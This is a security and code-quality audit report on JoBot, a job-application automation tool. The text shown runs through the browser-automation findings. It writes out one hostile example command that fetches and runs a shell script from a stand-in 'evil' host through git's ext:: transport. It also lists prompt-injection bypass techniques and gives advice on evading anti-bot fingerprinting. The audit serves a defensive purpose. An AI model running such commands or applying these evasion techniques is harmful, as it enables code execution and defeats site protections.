

AUDIT REPORT · 2026

JoBot Project Audit

A deep-dive security, architecture, and code-quality audit of an autonomous job-application operating system.

Comprehensive review of ~19,500 LOC Python core, ~2,100 LOC React/Tauri GUI, and 497 tests across six CI workflows. Covers security posture, code quality, architecture, browser automation, AI/LLM stack, and developer experience with numeric scoring across each dimension.

6.0

OVERALL SCORE
/ 10 · 71 findings

PREPARED FOR

Project Maintainer

github.com/aryansinghnagar/JoBot

CONFIDENTIAL · MAINTAINER EDITION

Table of Contents

1. Executive Summary	3
1.1 Dimension Scores	3
1.2 What's Genuinely Excellent	3
1.3 Top 5 Remediation Priorities	4
2. Audit Methodology & Scoring Rubric	5
3. Security Audit	5
3.1 Critical & High Findings	5
3.2 Medium Findings	6
3.3 Low & Nitpick Findings	7
3.4 Security Strengths	7
4. Code Quality & Architecture	8
4.1 Critical Findings	8
4.2 High Findings	9
4.3 Medium & Lower Findings	9
5. Browser Automation & Job Scraping	11
5.1 Critical Findings	11
5.2 High Findings	12
5.3 Medium & Lower Findings	13
6. AI / LLM Stack	14
6.1 Critical Findings	14
6.2 High Findings	15
6.3 Medium & Lower Findings	16
7. DX, CI/CD & Performance	17
7.1 High Findings	17
7.2 Medium & Lower Findings	18
7.3 CI/CD Strengths	19
8. Cross-Cutting Strengths	19
9. Prioritized Remediation Roadmap	21
9.1 Phase 1 — Critical Fixes (1–2 days)	21

9.2 Phase 2 — Hardening Sprint (1 week)	21
9.3 Phase 3 — Quality Sprint (2 weeks)	22
10. Conclusion	23
11. Platform Tier Expansion Research	24
11.1 Research Methodology	24
11.2 Current Tier Inventory	25
11.3 Tier-4 Candidates (Direct API)	25
11.4 Tier-3 Ceiling Platforms (Browser Only)	26
11.5 Tier-2 and Tier-1 Ceiling Platforms	27
11.6 Open-Source Prior Art Survey	27
12. Platform Tier Expansion Plan	28
12.1 Plan Sequencing & Dependencies	28
12.2 Phase 0 — Audit Remediation Prerequisites	28
12.3 Phase A — CXS Tier-2 to Tier-3 Migration	29
12.3.1 CXSBrowserSubmitter Base Class	29
12.3.2 Per-Platform Implementation Specs	30
12.4 Phase B — Tier-3 Hardening	30
12.5 Phase C — Tier-4 Expansion	30
12.5.1 FormPOSTAdapter Base Class	31
12.5.2 Per-Platform Implementation Specs	31
12.6 Phase D — Discovery Enhancement & New Tier-3 Platforms	32
12.6.1 Tier-1 Discovery Enhancement	32
12.6.2 New Tier-3 Platforms	32
12.7 Risk Assessment & ToS Posture	32
12.8 Verification Protocol for Tier-4 Candidates	33
12.9 Estimated Total Effort & Sequencing	34
12.10 Integration with Existing Audit Roadmap	34

1. Executive Summary

This report presents the findings of a deep-dive audit of the JoBot project — an autonomous job-application operating system implemented as a Python CLI/desktop toolkit with a Tauri 2 GUI shell. The audit covered approximately 19,500 lines of Python source, 2,100 lines of React/JSX frontend code, 497 tests, and six GitHub Actions workflows. The work was performed against commit `3c20bd0` on the project's `main` branch and is intended for the project maintainer as the primary audience.

Across the six audited dimensions — security, code quality, architecture, browser automation, AI/LLM stack, and developer experience — the project earned a weighted overall score of **6.0 / 10**. The headline result reflects a project with genuinely excellent durable-execution and grounding architecture that is nonetheless undermined by exploitable security defects, dead-code drift, fabricated adapter results, and a stealth layer that is partly theatrical. Of the 71 findings recorded, 16 are Critical and 35 are High, meaning that a focused remediation sprint can substantially move the needle on production readiness.

6.0	71	16	35
Overall Score / 10	Total Findings	Critical	High

1.1 Dimension Scores

Dimension	Score	Weight	C / H / M / L / N	Notes
Security	6.2 / 10	20%	3 / 3 / 6 / 6 / 4	Strong vault + SSRF + SQL hygiene; secret-exfil RPC and plugin RCE undermine it.
Code Quality & Architecture	6.4 / 10	35%	4 / 8 / 13 / 3 / 3	Excellent durable engine; CLI god-module + anemic domain model + 5 dead modules.
Browser Automation & Scraping	5.4 / 10	15%	6 / 12 / 9 / 7 / 3	Capability tiers + idempotency excellent; fabrication + resource leaks + theater.
AI / LLM Stack	6.4 / 10	10%	3 / 4 / 5 / 4 / 1	Clean provider abstraction + budget gate; cost tracking + grounding verifier weak.
DX & CI/CD	5.5 / 10	10%	— / 3 / 4 / 2 / —	CI matrix strong; USER_GUIDE fabricates commands; no cov threshold; tag-pinned release.
Performance	5.5 / 10	5%	— / 2 / 1 / 2 / 1	Native async for Bedrock/Gemini; HTTP providers block loop; no token budgeting.
Best Practices (cross-cutting)	5.7 / 10	5%	(cross-cutting)	Honest doctrine undermined by dead code, fabrication, and stale dependencies.

Weights reflect the user-stated priorities during audit scoping (security and code quality weighted highest, performance lowest).

1.2 What's Genuinely Excellent

JoBot demonstrates several textbook implementations of production-grade reliability primitives. These strengths form the foundation on which the recommended remediations can be built without architectural rework:

- **Durable execution engine.** Atomic lease claiming under `BEGIN IMMEDIATE`, append-only event ledger with correlation/causation IDs, effect-ledger idempotency with a `UNIQUE` constraint on `idempotency_key`, guarded approval transitions, and kill-anywhere checkpoints. The *reconcile-never-replay* invariant is enforced structurally rather than conventionally.
- **12-phase Application Submission Pipeline.** Per-phase DoD gates, saga write-ahead audit, and compensation semantics. `applications/reconcile.py:_verify_only` is the only adapter method reachable from the reconciliation service — fabrication is structurally prevented at the protocol level.
- **Strict type discipline.** Only 3 `# type: ignore` escapes across 19,500 LOC; `mypy --strict` is configured. Test-to-source ratio is 1.52 (497 tests / 327 source functions).
- **Real SSRF defense.** `url_guard.py` checks literal IPs + DNS-resolved addresses, refuses loopback/link-local/multicast/RFC1918, re-validates on every redirect hop. The one residual (DNS rebinding to RFC1918) is honestly disclosed.
- **Vault keyfile hygiene.** Atomic 0600 writes via `O_EXCL|O_CREAT|O_NOFOLLOW`, symlink refusal, fail-closed permission check, with dedicated tests for each path. SQL injection surface is zero — every query uses parameterized placeholders.
- **SHA-pinned CI actions** (4 of 6 workflows), SBOM with provenance attestation, Dependabot ×3 ecosystems, CodeQL, gitleaks full-history scan, strict Tauri CSP. Live browser automation is opt-in via `JOBOT_RUN_LIVE_BROWSER=1`.
- **LaTeX compilation is shell-escape-free** with an `escape_latex` filter — safe against malicious resume content. `adapter.capabilities` Flag enum + `guard_capability` cleanly prevents discovery-only adapters from silently submitting.

1.3 Top 5 Remediation Priorities

Ordered by attacker return on investment rather than raw severity label. Each is a one-to-three line fix that closes a meaningful exploit surface:

#	Action	Location	Effort	Fix
1	Purge committed PII from git history	<code>state/profile/skiffs.md</code>	S-M	Rewrite history with <code>git filter-repo</code> ; rotate exposed phone + email; remove <code>state/</code> from gitleaks allowlist; add <code>state/profile/</code> to <code>.gitignore</code> .
2	Remove <code>_config_get</code> raw-secret RPC	<code>gui/sidecar.py:408</code>	S	Mask secrets via <code>ConfigManager.is_secret()</code> branch; add a unit test asserting <code>_config_get('llm.api_key.gemini')</code> returns the masked form.
3	Patch plugin installer ext:: RCE	<code>plugins/installer.py:66</code>	S	Add URL scheme allowlist (<code>{http, https, ssh, git, file}</code>); pass <code>-c protocol.ext.allow=never</code> to <code>git clone</code> as defense in depth.
4	Stop fabrication in 6 adapters	<code>adapters/{naukri, workable_live, ashby_live, cxs, mock_ats}.py</code>	M	Raise <code>NotImplementedError/AdapterCapabilityError</code> instead of fabricating results. Aligns adapters with the project's own honesty doctrine.

#	Action	Location	Effort	Fix
5	Fix LLM cost tracker	llm/base.py:118	M	Read usage from API responses where available (Cohere v2, OpenAI streaming, Anthropic); use tiktoken for OpenAI-family; fall back to len(text)//4 instead of whitespace split.

2. Audit Methodology & Scoring Rubric

The audit was conducted against a local clone of the public repository at github.com/aryansinghnagar/JoBot. Four parallel deep-dive tracks were dispatched, each scoped to a specific dimension and required to read every relevant source file completely, perform targeted grep checks (for unsafe patterns such as `shell=True`, `eval()`, `pickle.load`, `verify=False`, `yaml.load`), and produce structured findings with file:line references and concrete remediation steps. Findings were then aggregated, deduplicated, and ranked by attacker return on investment.

Each dimension was assigned a numeric score on a 0–10 scale. Scores reflect both the count and severity of findings *and* the depth of the corresponding strengths — a dimension with one Critical but otherwise strong defenses may still earn a 6–7. The weighted overall score is computed from dimension scores using the weights shown in the Executive Summary table above. Severity labels follow a standard rubric: Critical = exploitable today with no user interaction; High = exploitable under realistic conditions; Medium = correct but fragile or violates best practice; Low = minor improvement; Nitpick = stylistic.

All findings cite a specific file path and line number wherever possible, and include a verbatim code snippet from the audited commit. Recommendations include effort estimates using T-shirt sizing (S = a few hours, M = one to three days, L = a focused sprint).

3. Security Audit

Score: 6.2 / 10 | Findings: 3 Critical, 3 High, 6 Medium, 6 Low, 4 Nitpick.

JoBot's security posture is genuinely strong in several areas — vault keyfile handling is exemplary, the SSRF guard does real boundary checking rather than naive string matching, SQL injection surface is zero (every query uses parameterized placeholders), the Tauri CSP is strict, and live browser automation is opt-in. However, three Critical findings are exploitable today: a committed candidate PII file exempted from secret scanning, a sidecar RPC that returns raw API keys to any caller, and a plugin installer that accepts `ext::` git transport URLs — which execute arbitrary shell commands during `git clone`, before any manifest validation runs.

3.1 Critical & High Findings

Severity	Finding	Location	Effort
Critical	Committed candidate PII (state/profile/skills.md) — full name, phone, email exposed in git history, exempted by .gitleaks.toml allowlist.	state/profile/skills.md:1-8	M
Critical	Sidecar _config_get RPC returns raw secret values (API keys, cookies, SMTP passwords) to any caller with stdin access — no masking branch.	src/jobot/gui/sidecar.py:408	S
Critical	Plugin installer accepts ext:: git transport URLs → RCE before manifest validation. jobot plugin install 'ext::sh -c "curl evil sh"' executes the command.	src/jobot/plugins/installer.py:66	S
High	ModelRouter._load_dotenv reads .env from CWD and merges into os.environ — secret substitution attack from untrusted working directories (OPENAI_COMPAT_API_KEY, OLLAMA_BASE_URL, JOBOT_RUN_LIVE_BROWSER).	src/jobot/llm/router.py:84	S
High	Vault master key is unauthenticated random bytes — no KDF, no passphrase, no key rotation. Keyfile fallback rests on filesystem ACLs alone; backup exfiltration = permanent compromise.	src/jobot/storage/vault.py:43	L
High	Prompt-injection guard is regex-only; bypassed by Unicode confusables, base64 payloads, markdown-link exfiltration, HTML comments, zero-width steganography. Also produces false positives on benign phrases ('act as a bridge').	src/jobot/security/prompt_guard.py:13	L

The first three Critical findings warrant immediate attention. The committed PII in `state/profile/skills.md` is permanently in git history and any GitHub mirrors/forks; the only remediation is a history rewrite via `git filter-repo` followed by rotation of the exposed phone and email. The `_config_get` RPC is a one-line fix (mask secrets via the existing `ConfigManager.is_secret()` predicate). The plugin installer RCE requires adding a URL scheme allowlist and passing `-c protocol.ext.allow=never` to `git clone` as defense in depth.

The three High findings are structural. The CWD `dotenv` lookup is a one-line removal; the KDF-less vault is a larger migration that should be scheduled for a major version; the regex prompt guard should be replaced with a defense-in-depth stack: Unicode normalization, structural delimiters with per-request nonces, HTML/markdown stripping, and a small LLM-based secondary classifier. Adversarial test cases for each bypass vector should accompany the rewrite.

3.2 Medium Findings

Severity	Finding	Location	Effort
Medium	SSRF guard permits RFC1918 on DNS resolution (DNS-rebinding-to-private residual). Documented but not closed.	src/jobot/security/url_guard.py:56	M
Medium	Tauri core:default capability set is broad; devtools not explicitly disabled in release builds.	gui/src-tauri/capabilities/default.json:6	S
Medium	NaukriLoginFlow uses <code>input()</code> which blocks the JSON-RPC stdin pipe in the GUI sidecar — deadlocks the UI when OTP is required.	src/jobot/adapters/naukri/login.py:69	M

Severity	Finding	Location	Effort
Medium	Dependency pinning uses <code>>=</code> only with no upper bound and no Python lockfile. Same commit can produce different runtime environments days apart.	<code>pyproject.toml:14</code>	M
Medium	<code>_schedule_add</code> persists arbitrary command strings with no validation — stored injection for any future cron executor.	<code>src/jobot/gui/sidecar.py:369</code>	S
Medium	Trace, alert, and runner-state JSONL files written with default 0644 permissions — PII at rest visible to other local users.	<code>src/jobot/obs/tracing.py:71</code>	S

3.3 Low & Nitpick Findings

Severity	Finding	Location	Effort
Low	<code>PIIMasker.unmask()</code> does blind token replace — token-injection vector if activated. Currently dead code.	<code>src/jobot/security/pii_masker.py:1</code>	S
Low	<code>OpenAICompatProvider._api_key()</code> returns the env var even when <code>key_lookup</code> is set — silently ignores per-provider keyring values when <code>OPENAI_COMPAT_API_KEY</code> is in env.	<code>src/jobot/llm/providers.py:160</code>	S
Low	<code>VertexProvider._api_key()</code> returns literal 'vertex-adc' as a fake credential when no key is configured.	<code>src/jobot/llm/providers.py:542</code>	S
Low	<code>GreenhouseAdapter.submit_application</code> reads any local file from <code>resume_path</code> and base64-encodes it to an external API — no path allowlist, size cap, or extension check.	<code>src/jobot/adapters/greenhouse.py:149</code>	S
Low	.env parser ignores quotes and inline comments. <code>GEMINI_API_KEY="abc"</code> stores "abc" (with quotes).	<code>src/jobot/llm/router.py:88</code>	S
Low	Policy 3 (sensitive data exclusion) uses literal substring match — bypassed by 'Aadhaar', 'SSN', 'bank PIN', 'PAN card', etc.	<code>src/jobot/policy/engine.py:82</code>	S
Nitpick	<code>secrets.mask()</code> reveals first 4 chars of any secret — leaks credential family (sk-, AIza, xoxb-).	<code>src/jobot/secrets.py:41</code>	S
Nitpick	<code>[REDACTED_INJECTION_*]</code> replacement tokens are themselves prompt-engineering tokens an attacker can weaponize.	<code>src/jobot/security/prompt_guard.py:13</code>	S
Nitpick	Plugin auditor's dangerous-token blacklist uses string concatenation to avoid matching itself — easily defeated by source-level obfuscation (<code>eval, getattr, __import__</code>).	<code>src/jobot/plugins/auditor.py:112</code>	M
Nitpick	Vault module docstring overstates protection — 'AES-256 Fernet symmetric encryption key stored securely in the OS Keyring' is conditional on keyring availability.	<code>src/jobot/storage/vault.py:1</code>	S

3.4 Security Strengths

- Vault keyfile handling: atomic 0600 writes via `O_EXCL|O_CREAT|O_NOFOLLOW`, fail-closed permission check, symlink refusal, stale-tmp recovery, with dedicated tests.
- SSRF boundary checks: literal-IP + DNS-resolved + per-hop redirect re-validation; userinfo refused; 169.254.169.254, 0.0.0.0, `::1`, IPv6-mapped all covered by tests.

- SQL injection surface is zero: every `conn.execute` uses `?` placeholders; no f-string SQL interpolation anywhere in the codebase.
- Migrations are checksummed (SHA-256) and refuse to start if a historical migration was modified — preventing silent schema drift.
- Tauri CSP is strict: `default-src 'self'`, `script-src 'self'` (no `unsafe-inline/unsafe-eval`), `connect-src 'self' ipc: http://ipc.localhost`.
- Tauri shell capability is narrowly scoped to jobot sidecar with a regex-validated `^sidecar$` arg.
- Live browser automation is opt-in via `JOBOT_RUN_LIVE_BROWSER=1` env var; defaults to honest `NotImplementedError` instead of fabricating results.
- CI actions are SHA-pinned (4 of 6 workflows), Dependabot ×3 ecosystems, CodeQL, `pip-audit --strict`, gitleaks full-history scan.
- No `shell=True`, no `eval()/exec()` in production code, no `pickle.load`, all yaml uses `safe_load`, no `requests.verify=False` anywhere.
- Docker image runs as non-root jobot user (uid 1000) with a named volume; `.dockerignore` is thorough.

4. Code Quality & Architecture

Score: **6.4 / 10** | Findings: 4 Critical, 8 High, 13 Medium, 3 Low, 3 Nitpick.

JoBot's conceptual spine is excellent: a Pydantic domain model feeds a 12-phase Application Submission Pipeline with per-phase DoD gates, wrapped in a durable saga that uses a SQLite-backed task engine with atomic claiming, heartbeats, an append-only event ledger, and effect-ledger idempotency. The 'reconcile-never-replay' invariant is enforced structurally — `reconcile.py:_verify_only` is the only adapter method the reconciliation service can call. This is the best part of the codebase and should not be touched during remediation work.

What undermines this otherwise strong architecture is a 2021-line god-module CLI, five dead modules shipped to main, an anemic mutable domain model with three competing `TaskStatus` enums, and a magic-string `form_values: Dict[str, Any]` grab-bag on the Application aggregate. Six adapters also quietly fabricate job descriptions or submission results — a direct contradiction of the project's own 'Zero fabrication' doctrine as stated in `adapters/lever.py:32`.

4.1 Critical Findings

Severity	Finding	Location	Effort
Critical	<code>cli/main.py</code> is a 2021-LOC god-module mixing IO, business logic, and 35+ commands. Top-level imports 32 symbols from 21 modules — every <code>jobot --help</code> pays full app import cost.	<code>src/jobot/cli/main.py:1</code>	L
Critical	Three competing <code>TaskStatus</code> enums (<code>domain.TaskStatus</code> 5 members; <code>execution/engine.TaskStatus</code> 12 members; <code>task_graph.py</code> re-imports). <code>from jobot.X import TaskStatus</code> resolves differently per package.	<code>src/jobot/models/domain.py:192</code>	M

Severity	Finding	Location	Effort
Critical	Anemic mutable domain model. Application is a data bag; app.status = ApplicationStatus.SUBMITTED direct mutation in 30+ sites bypasses the state machine. form_values carries 7+ magic-string keys.	src/jobot/models/domain.py:161	L
Critical	cxs.py (5 adapters in 305 LOC) and MockATSAdapter.parse_job_posting fabricate job descriptions and derive parsed_skills from the invented text — violates 'Zero fabrication' doctrine.	src/jobot/adapters/cxs.py:51	M

4.2 High Findings

Severity	Finding	Location	Effort
High	Five dead modules shipped to production: storage/models.py, task_graph.py (explicitly 'replaced' by DurableTaskEngine), workflows/application.py (shadowed by ApplyOrchestrator), memory/system.py (EightTierMemorySystem, only consumed by one test), updater.ReleaseManager.rollback() raises NotImplementedError.	src/jobot/{storage/models,task_graph,workflows/application,memory/system,updater}.py	S
High	ApplicationMarkdownLogger does non-atomic $O(n^2)$ read-modify-write of log.md, shadowing the SQLite audit source. Concurrent runner processes will race and lose entries.	src/jobot/obs/application_md_logger.py:18	S
High	runner.py:155 reuses idempotency_key='intent_check' for every policy check — latent UNIQUE collision if the check ever durably reserves.	src/jobot/runner.py:155	S
High	Four divergent 'supported portals' lists with daily-cap values split across modules (runner, policy, scheduler, discovery). 'zip_recruiter' typo in discovery/engine.py — silent mismatch with adapter 'ziprecruiter'.	src/jobot/runner.py:84	M
High	MockATSAdapter wired into production JobDiscoveryEngine and ContinuousCampaignRunner default portal lists. Real campaigns hit http://127.0.0.1:5800/jobs or return fabricated fallback postings.	src/jobot/discovery/engine.py:74	S
High	_config_get sidecar RPC has no architectural DTO distinguishing 'secret' from 'unset' — is_secret() exists on ConfigManager but is unused.	src/jobot/gui/sidecar.py:408	S
High	ReleaseManager.rollback() ships NotImplementedError to main. check_for_updates() always returns is_latest=True. Whole module is non-functional but installed.	src/jobot/updater.py:49	S
High	AdapterRegistry.get_adapter instantiates with zero args — no DI for credentials/vault. Each registry lookup constructs a fresh adapter with default deps; vault is recreated on every call.	src/jobot/adapters/registry.py:122	M

4.3 Medium & Lower Findings

Severity	Finding	Location	Effort
Medium	storage/db.py:save_application N+1 (SELECT then UPDATE-or-INSERT) with duplicated timestamp-stamping logic.	src/jobot/storage/db.py:265	M

Severity	Finding	Location	Effort
Medium	DurableTaskEngine.create_task/transition open 2 connections per call (post-write get_task re-read). Two # type: ignore escapes needed.	src/jobot/execution/engine.py:249	S
Medium	StdioSidecarServer: 33 sync handlers each call asyncio.run from sync process_request — sequential-only, fresh event loop per RPC, latent crash on nested async.	src/jobot/gui/sidecar.py:47	M
Medium	policy/engine.py:82 keyword check is substring-sensitive ('aadhaar number', 'ssn number', 'bank password'); Policy 2 does 'Grounding' in application.error_message — string coupling.	src/jobot/policy/engine.py:71	M
Medium	Application.form_values magic-string keys: _saga_id, _approval_id, _reconcile_attempts, _lever_confirmation_id, _extracted_questions, resume_path, cover_letter_text.	src/jobot/asp/pipeline.py:241	M
Medium	ai/router.py is a 10-line backward-compatible re-export shim with no deprecation timeline. Half the codebase imports via ai.router, half via llm.router.	src/jobot/ai/router.py:1	S
Medium	documents/tailor.py: 5 classes in 461 LOC. Drafter/Reviewer/TailorLoop/DocumentTailor orchestration not encapsulated as a first-class TailorPipeline.	src/jobot/documents/tailor.py:37	M
Medium	Domain models scattered across service modules instead of models/ (DoctorCheck, Digest, STARFeedback, OutreachPreset, Contact, DMResult, ApplyResult, AuditFinding).	src/jobot/doctor.py:20	M
Medium	pyproject.toml mypy python_version='3.12' vs requires-python='>=3.11' mismatch. Three different version numbers across __init__.py, pyproject.toml, updater.py.	pyproject.toml:10	S
Medium	ruff config has no select/ignore ruleset — runs with default F-only. Missing UP, B, S, SIM, C4, T20.	pyproject.toml:64	S
Medium	EvalHarness (192 LOC) test-runner concerns in production code, shares module with unrelated evals/optimizer.py (portal-metrics).	src/jobot/evals/harness.py:1	S
Low	more_adapters.py: 9 one-line subclasses should be a parametric registry.	src/jobot/adapters/more_adapters.py:62	S
Low	models/domain.py uses pre-PEP-585 typing (Dict/List/Optional) in a py3.11+ codebase. ruff UP rules would auto-fix.	src/jobot/models/domain.py:3	S
Low	MemoryRecord.memory_id uses naive len(list)+1 sequence. If any record is removed, IDs collide.	src/jobot/memory/system.py:35	S
Nitpick	_resolve_job returns Any instead of Optional[JobPosting].	src/jobot/cli/main.py:58	S
Nitpick	Application model comment about timestamp semantics has no @model_validator enforcing ordering.	src/jobot/models/domain.py:178	S
Nitpick	state_machine.py allows FAILED→INTENT retry, bypassing the durable task engine's RETRYING state. Two state machines own 'retry' semantics.	src/jobot/applications/state_machine.py:123	S

5. Browser Automation & Job Scraping

Score: 5.4 / 10 | Findings: 6 Critical, 12 High, 9 Medium, 7 Low, 3 Nitpick.

The stealth layer is organized as a small toolbox of independent components — `BrowserSession` (Patchright persistent-context wrapper), `BrowserSessionPool` (an async context manager nobody actually uses), `SelectorRegistry` (self-healing CSS-ladder), `BehavioralMimicry` (Bezier mouse curves + keystroke delays), `CaptchaSolver`, `CircuitBreaker`, `SiteHealthMonitor`, `ProxyManager`, `StealthHTTPClient`, and `linkedin_easy_apply.py`. The adapter layer splits cleanly along capability lines via the `AdapterCapability` Flag enum, and the scraper layer wraps `python-jobsby` behind a circuit-breaker-wrapped adapter with a two-tier dedup service.

The architectural scaffolding is genuinely good — pipeline-level idempotency with a `UNIQUE` constraint on `idempotency_key`, the `JOBOT_RUN_LIVE_BROWSER=1` opt-in gate, hermetic test doubles for the Easy Apply saga, and the `BrowserEvidenceCollector` design with `application_id`-namespaced directories and SHA-256 DOM hashing. But the actual browser adapters fabricate results (Naukri parse/discover; Workable/Ashby live submit/verify), are unreachable from production (live adapters never registered), leak resources (pages never closed, sessions never shut down), and partly consist of theater code (`BehavioralMimicry` curves computed but never dispatched; `StealthHTTPClient` doesn't actually impersonate TLS).

5.1 Critical Findings

Severity	Finding	Location	Effort
Critical	Naukri adapter fabricates <code>parse_job_posting</code> and <code>discover_jobs</code> entirely. Hardcoded <code>JobPosting('Senior Backend Engineer', 'Naukri Hiring Partner', ...)</code> regardless of URL; <code>discover_jobs</code> generates limit fake postings with <code>uuid.uuid4()</code> hex <code>job_ids</code> .	<code>src/jobot/adapters/naukri/adapter.py:63</code>	S
Critical	Workable/Ashby Live adapters set <code>application.status = SUBMITTED</code> and return <code>True</code> even when NO confirmation marker is found (the <code>else</code> branch of the marker check).	<code>src/jobot/adapters/workable_live.py:139</code>	S
Critical	Workable/Ashby Live <code>verify_submission</code> fabricates confirmation IDs locally as <code>f'workable_{application_id[:8]}'</code> — never re-fetches the page, never checks ATS-side state. Verification is fake.	<code>src/jobot/adapters/workable_live.py:152</code>	S
Critical	Workable/Ashby Live adapters are unreachable from production. <code>AdapterRegistry</code> maps <code>'ashby'/'workable'</code> to the discovery-only cxs variants. Tests pass against code that can never run.	<code>src/jobot/adapters/registry.py:1</code>	S
Critical	Workable/Ashby Live use <code>getattr(self._browser, 'page', None)</code> — but <code>BrowserSession</code> exposes <code>'pages'</code> (plural), not <code>'page'</code> . Returns <code>None</code> for any real session; test passes only because <code>MagicMock</code> mocks any attribute access.	<code>src/jobot/adapters/workable_live.py:110</code>	S
Critical	LinkedIn Easy Apply saga has no already-applied check before clicking Submit. Re-running after a crash re-clicks Easy Apply → re-clicks Submit. Naukri and Workday check; Easy Apply doesn't.	<code>src/jobot/stealth/linkedin_easy_apply.py:152</code>	M

The fabrication findings (#1–#3) directly violate the project's stated 'Zero fabrication' doctrine and are the most user-visible failure mode: a user runs `jobot scrape naukri` and sees fabricated postings presented as real; a user runs `jobot apply --approve` and JoBot claims submission success when nothing was submitted. The unreachable-adapter finding (#4) means the fabrication is invisible from production today — but it will become visible the moment the registry is updated to point at the Live adapters. Findings #5 and #6 are reliability defects: Workable/Ashby Live would always return FAILED even if registered (page attribute mismatch), and Easy Apply can double-submit on crash recovery.

5.2 High Findings

Severity	Finding	Location	Effort
High	BrowserSessionPool is dead code in production. Every adapter (LinkedIn, Naukri, Workday) bypasses it with direct BrowserSession(portal=X, headless=True). The max_idle_sessions=4 cap is never enforced.	src/jobot/stealth/session_manager.py:1	M
High	Browser pages leak across submit/verify calls. Both naukri/adapter.py and workday.py do return await self._session.new_page() and never call page.close(). 1000 applications = up to 2000 leaked pages.	src/jobot/adapters/naukri/adapter.py:42	S
High	BrowserSession is never closed on adapter shutdown. No aclose/_aexit_/atexit/signal hooks anywhere. Ctrl-C may not flush cookies/storage — losing LinkedIn/Naukri auth state.	src/jobot/adapters/linkedin.py:57	M
High	Workday adapter login() is a no-op — submit structurally cannot succeed. Returns False without doing anything. LOGIN_WALL_SELECTORS defined but never used.	src/jobot/adapters/workday.py:328	M
High	Naukri login flow uses a separate BrowserSession closed in finally — auth persistence is fragile. Patchright only flushes cookies on context.close(); a process crash before close loses auth state.	src/jobot/adapters/naukri/login.py:17	M
High	Easy Apply saga silently skips fields without recording them as unanswered. Years of experience, work authorization, willing to relocate — all silently unfilled, form fails server-side.	src/jobot/stealth/linkedin_easy_apply.py:204	M
High	Easy Apply saga never uses the resume_path parameter. LinkedIn Easy Apply always requires a resume upload step; the saga has no input[type='file'] handling, no set_input_files.	src/jobot/stealth/linkedin_easy_apply.py:152	M
High	Evidence collector not wired into browser adapters. EasyApplySaga uses hardcoded '01_opened.png' paths — concurrent runs overwrite each other's evidence files.	src/jobot/obs/evidence.py:33	M
High	CAPTCHA solver policy is undisclosed and the solver is fake. solve_image_captcha never passes image_bytes to the LLM (only the byte length) and returns hardcoded confidence=0.85.	src/jobot/stealth/captcha.py:27	S
High	BehavioralMimicry curves are computed and logged but never dispatched. Naukri submit generates a Bezier curve, logs 'Simulating mouse trajectory over N points', then calls button.first.click() — curve points never reach page.mouse.move().	src/jobot/adapters/naukri/submit.py:117	S
High	No 429 / Retry-After handling; circuit breaker retries against the server's wishes. A 429 with Retry-After: 3600 is retried at 1s, 2s, 4s — the opposite of what the server asks for.	src/jobot/stealth/circuit_breaker.py:70	M

Severity	Finding	Location	Effort
High	StealthHTTPClient doesn't actually impersonate TLS. impersonate='chrome120' field is set and never used; get/post delegate to safe_urlopen (stdlib urllib). tls-client package is in pyproject.toml [scrapers] but never imported.	src/jobot/stealth/http_client.py:9	S
High	SiteHealthMonitor is decoupled from CircuitBreaker and neither persists across restarts. Two overlapping in-memory state trackers that don't talk to each other.	src/jobot/stealth/site_health.py:44	M
High	DedupService.is_duplicate does full-table scan per check — $O(n^2)$ growth. 10000 postings → 100M cosine comparisons per filter_unique call. No TTL/cleanup, table grows monotonically.	src/jobot/scrapers/dedup.py:74	L

5.3 Medium & Lower Findings

Severity	Finding	Location	Effort
Medium	SelectorRegistry is bypassed by Easy Apply, Workday, and Naukri submit — each declares its own inline DEFAULT_SELECTORS / APPLY_BUTTON_SELECTORS. Two LinkedIn selector registries.	src/jobot/stealth/linkedin_easy_apply.py:24	M
Medium	UA hardcoded Chrome/120 (released Dec 2023, ~2+ years stale). Modern anti-bot flags UA >6 months behind current Chrome as suspicious. Missing Sec-Fetch-*, Sec-CH-UA-* headers.	src/jobot/stealth/browser.py:40	S
Medium	Workable/Ashby live adapters use raw page.fill / page.click — bypass BrowserSession wrapper and SelectorRegistry. No wait_for(state='visible'), no behavioral mimicry, no self-healing.	src/jobot/adapters/workable_live.py:119	S
Medium	Easy Apply saga has unbounded while True loop — no max_steps protection. Infinite validation error loop hangs for 30s per failed click, then exits with misleading 'Unknown modal state'.	src/jobot/stealth/linkedin_easy_apply.py:191	S
Medium	page.goto() in adapters omits the timeout parameter — uses Playwright default 30s. BrowserSession.navigate() uses 60s. Inconsistent timeouts across the same flow.	src/jobot/adapters/workday.py:217	S
Medium	No specific playwright.TimeoutError / playwright.Error handling — all wrapped in bare except Exception. A timeout is indistinguishable from a browser crash.	src/jobot/adapters/workday.py:218	S
Medium	JobSpy not declared as a dependency in pyproject.toml. SETUP.md says to install python-jobsby==1.1.82 --no-deps but the version is hardcoded and stale (PyPI has 1.2.x).	pyproject.toml:39	M
Medium	NaukriSubmitter inconsistent already-applied handling (sets SUBMITTED, not DUPLICATE_SKIPPED). Inflates success metrics; pipeline marks effect COMMITTED on a non-existent submission.	src/jobot/adapters/naukri/submit.py:106	S
Medium	Easy Apply _collect_fields does 3 sequential get_attribute calls per field. 10-field modal × 5 steps = 150 round-trips, 150-750ms of pure attribute-fetch latency per submit.	src/jobot/stealth/linkedin_easy_apply.py:111	S
Low	Headless mode not exposed via env var. To debug Easy Apply by watching the browser, a user has to subclass the adapter or monkeypatch the constructor.	src/jobot/stealth/browser.py:18	S

Severity	Finding	Location	Effort
Low	BehavioralMimicry randomness not seeded — tests can't reproduce failures.	src/jobot/stealth/behavior.py:1	S
Low	ProxyManager is dead code — BrowserSession never uses it.	src/jobot/stealth/proxy.py:1	S
Low	LOGIN_WALL_SELECTORS in workday.py defined but never used. Submitter logs 'No apply button found' when real cause is a login wall.	src/jobot/adapters/workday.py:63	S
Low	StealthHTTPClient.default_headers missing modern Chrome headers (Sec-Fetch-*, Sec-CH-UA-*, Upgrade-Insecure-Requests). A 3-header request from a Chrome 120 UA is itself a fingerprint.	src/jobot/stealth/http_client.py:30	S
Low	_apply_stealth_scripts uses well-known puppeteer-stealth v1 pattern from ~2019. Defeated trivially by modern anti-bot via WebGL/Canvas/AudioContext fingerprinting.	src/jobot/stealth/browser.py:57	M
Low	EasyApplySaga constructor has side effect — creates evidence_dir on instantiation. Importing + instantiating creates ~/.jobot/evidence/ on disk.	src/jobot/stealth/linkedin_easy_apply.py:91	S
Nitpick	BehavioralMimicry lacks from __future__ import annotations. Uses Tuple[int, int] from typing in a py3.11+ codebase.	src/jobot/stealth/behavior.py:1	S
